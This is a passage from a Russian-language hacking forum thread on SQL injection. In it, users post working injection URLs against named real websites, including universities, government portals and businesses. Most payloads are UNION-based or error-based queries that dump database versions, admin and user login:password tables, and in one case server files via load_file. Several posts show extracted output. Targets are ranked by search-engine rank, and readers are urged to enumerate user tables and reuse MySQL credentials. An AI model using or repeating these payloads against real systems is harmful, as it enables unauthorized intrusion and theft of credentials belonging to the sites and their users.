SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    ТиЦ == 180, PR == 2, трафф == 20K, ЯК == true;

    PHP:
    http://www.webmath.ru/stat.php?board=-8+union+select+concat_ws(0x03a,database(),user(),version())--
     
  2. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    529
    Likes Received:
    253
    Reputations:
    32
    Code:
    http://www.hochiveda.net/russian/product.php?id=-7+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
     
  3. InDuStRieS

    InDuStRieS Banned

    Joined:
    15 Mar 2009
    Messages:
    529
    Likes Received:
    253
    Reputations:
    32
    Code:
    http://www.globalleader.com.hk/product.php?mode=4&product_id=-9+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12+--+
    
    4.0.17-standard:gleader:root@localhost

    PR: 1
     
  4. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    ТИЦ == 70, PR == 4;

    PHP:
    http://healthspa.ru/shownew.php?id=216+and+(select+1+from(select+count(*),concat(database(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
     
    1 person likes this.
  5. Salo-po-3.5

    Salo-po-3.5 Member

    Joined:
    28 Jun 2011
    Messages:
    11
    Likes Received:
    8
    Reputations:
    -5
    PHP:
    http://www.l3m.univ-mrs.fr/seml3m.php?id=-1+UNION+SELECT+1,2,3,5,6,login,pass,8,9,10,11,12,13,14+FROM+users+LIMIT+1,1--
    PHP:
    http://www.intorsura.ro/bis_man/bis.php?id=-1+union+select+concat_ws(user(),database(),version()%20),2,3,4,5,6,7,8,9,10,11--
    PR 4
    Тиц 0

    Большая база данных пользователей. Можно переберать
    Code:
    LIMIT+[COLOR=LemonChiffon]1[/COLOR],1--
    - Подставляем числа по порядку :)
    Так-же есть таблица mysql.user
    Там данные от панели MYSQL :) Пользуйтесь!
    PR: 5
    Тиц: 0

    PHP:
    http://www.sportznak.ru/medali28m.php?id=-1+UNION+SELECT+1,login,password,3,5,6,7+FROM+b_user+LIMIT+4,2--
    Яндекс тиц: 30
    Google PR : 1

    PHP:
    http://www.adventuresoft.com/s_f1s.php?id=-1+UNION+SELECT+1,2,username,password,5,6,7+FROM+users+LIMIT+1,1--
    PHP:
    http://www.adventuresoft.com/s_f1s.php?id=-1+UNION+SELECT+1,2,username,password,5,6,7+FROM+users+LIMIT+0,1--
    PHP:
    http://www.nmu.edu.ua/news-e.php?id_news=-1+union+select+1,version(),3,user(),5,6,7,8,9--
    Яндекс Тиц: 450
    Google PR: 5

    Konqi: попращайничеством не занимаемся, посты не набиваем, логины/хеши не выкладываем
     
    #14925 Salo-po-3.5, 26 May 2012
    Last edited by a moderator: 27 May 2012
    1 person likes this.
  6. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,055
    Likes Received:
    615
    Reputations:
    690
    Уважаемый хацкеры читайте правила пожалуйста.
    https://forum.antichat.ru/thread18883.html
    пункт 8
     
    _________________________
  7. ShakeSDog

    ShakeSDog New Member

    Joined:
    12 May 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Жаль до конца не смог((
    PHP:
    http://www.couleebank.net/newsletters/newsletter.php?id=45+union+select+1,2,3,4,5,concat_ws%280x3a,column_name%29,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns--
     
  8. Gaben7

    Gaben7 Member

    Joined:
    8 Jan 2012
    Messages:
    129
    Likes Received:
    9
    Reputations:
    6
    pouet.net

    PHP:
    http://www.pouet.net/bbses.php?which=-713%20union%20select%201,c  oncat%28table_name%29,3,4,5,6,7,8,9+f  rom+information_schema.tables--
    Google PR : 4
     
  9. Salo-po-3.5

    Salo-po-3.5 Member

    Joined:
    28 Jun 2011
    Messages:
    11
    Likes Received:
    8
    Reputations:
    -5
    PHP:
    http://www.psyboard.com/yes.php?id=-1+union+select+1,concat_ws(0x03a,login,password)+from+users--
    Google PageRank (PR) 2
     
    1 person likes this.
  10. Gaben7

    Gaben7 Member

    Joined:
    8 Jan 2012
    Messages:
    129
    Likes Received:
    9
    Reputations:
    6
    PHP:
    http://status.hostexcellence.com/page/8/
    Cookie input wordpress_1a75a868d91285923da705f3784dd715
    was set to WP+Cookie+check"=sleep(7.812)="





    healing-hearts-centre.co.uk

    PHP:
    http://www.healing-hearts-centre.co.uk/view_faq.php?id=-1+/*!union*/+select+1,/*!unhex%28hex%28g  roup_concat%28username,0x3a,password%29%29%29*/,3+from+u  sers


    ebay.com.np

    PHP:
    http://www.ebay.com.np/index.php?task=productdetails&pid=-2710+/*!uniOn*/+all+/*!sElEct*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,g roup_concat(username,0x3a3a,p  assword),18,19+/*!from*/+admin--
    dcucenter.com

    PHP:
    http://www.dcucenter.com/event.php?id=-103+UNION+SELECT+1,group_concat%28username,0x3a,p  assword%29,3,4,5,6,7,8, 9,10,11+from+users--

    jlos.go.ug
    PHP:
    http://www.jlos.go.ug/documents.php?id=-2+union+select+g  roup_concat%28username,0x3a,password%29+from+u  sers--

    capitalcurrencies.org
    PHP:
    http://capitalcurrencies.org/newsitem.php?id=-13%20union%20select%201,g roup_concat%28u  sername,0x3a,pass%29,3,4,5+f  rom+u  sers--

    infinim.fr
    PHP:
    http://www.infinim.fr/phototheque.php?id=-1%20union%20select%201,2,group_concat%28id_utilisteur,0x3a,email,0x3a,p  assword,0x3C62723E%29,4,5,6,7,8,9,10,11,12,13,14,15,  16,17,18,19,20,21%20from%20utilisateur--

    www.thungkhok.go.th
    PHP:
    http://www.thungkhok.go.th/webboard/webboard_view.php?topic_id=-7%20/**/%20union%20/**/%20select%20/**/%20all%20/**/%201,2,group_concat%28username,0x3a,p  assword,0x3a,chk_status,0x3c62723e%29,4,  5,6,7,8%20/**/%20from%20/**/%20m_log%20/**/%20Samyetli


    Code:
    http://www.equinoxefm.be/pages/emission.php?id=20'

    Code:
    http://www.scooter-attack.com/index2.php?main=http://www.1tv.ru/projects/pp=5288
     
    #14930 Gaben7, 27 May 2012
    Last edited: 28 May 2012
  11. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    В меру упитанный забугорный сайт. Осталось только найти папку для записи.

    Dipartimento di Matematica - Politecnico di Milano

    PR == 5

    http://www.mate.polimi.it/viste/pagina_personale/pagina_personale.php?id=-227'+union+select+load_file('/var/www/html/nonsicura/web/index.php'),2+--+h

    На основном домене polimi.it трафф == ~8k. Он также дырявый, но сервер, к сожалению, другой.
     
    #14931 Га-Ноцри, 28 May 2012
    Last edited: 28 May 2012
    1 person likes this.
  12. Gaben7

    Gaben7 Member

    Joined:
    8 Jan 2012
    Messages:
    129
    Likes Received:
    9
    Reputations:
    6
    ros.gov.my

    PHP:
    http://www.ros.gov.my/index.php?page=faq_detail&id=-19+union+%2F*!50000SELECT*%2F+1%2Cg  roup_concat%28staff_name%2C0x3a%2Cpass%29%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15+from+t  bl_users
     
  13. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    ТИЦ == 30, PR == 4, трафф == 2k;

    PHP:
    http://arenda-open.ru/?page=news&newsID=379'+and+(select+1+from(select+count(*),concat(database(),floor(rand()*2))x+from+information_schema.tables+group+by+x)a)--+h
     
  14. Salo-po-3.5

    Salo-po-3.5 Member

    Joined:
    28 Jun 2011
    Messages:
    11
    Likes Received:
    8
    Reputations:
    -5
    PHP:
    http://uumts.utk.ru/t_and_p.php?id=-1+union+select+1,concat_ws(0x03a,user,pass),3,4,5,6,7,8,9+from+userlist--
     
    #14934 Salo-po-3.5, 28 May 2012
    Last edited: 28 May 2012
  15. Salo-po-3.5

    Salo-po-3.5 Member

    Joined:
    28 Jun 2011
    Messages:
    11
    Likes Received:
    8
    Reputations:
    -5
    PHP:
    http://www.munichwalktours.de/home/english/ghost_tour.php?id=-1+union+select+1,2,concat_ws(0x03a,adminpass,aname,aemail)+from+admin--
    Тиц 0
    Пр: 4
     
  16. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    Для тех кто любит взрывать себе мозг :D
    true
    false
    еще блиндика)))
     
    _________________________
    #14936 winstrool, 28 May 2012
    Last edited: 28 May 2012
    1 person likes this.
  17. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    Экзотика экзотикой, однако:

    ТИЦ == 10, PR == 6, DMOZ == true;

    PHP:
    http://www.h.u-tokyo.ac.jp/news/news.php?newsid=-632+union+select+1,2,3,4,5,6,concat_ws(0x03a,user_id,password),8,9,10,11,12,13,14,15,16,17,18,19+from+news_user--
     
  18. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    я думаю, что самарские пользователи оч хорошо знают этот чудесный напиток и употребляют его в декалитрах)))

    http://www.vodkarodnik.com/news.php?news=-85%20and%201=2%20union%20select%201,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3+--

    5.0.92-log u77995@10.8.1.125 u77995 portbld-freebsd8.2
     
  19. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    843
    Likes Received:
    170
    Reputations:
    84
    ТИЦ - 60
    ПР - 2
    ЯК - тру

    ТИЦ - 40
    ПР - 4

    ТИЦ - 240
    ПР - 2
    ЯК - есть
     
    3 people like this.
  20. c0ncat

    c0ncat Banned

    Joined:
    29 May 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    [​IMG]

    medray@localhost
     
Loading...
Thread Status:
Not open for further replies.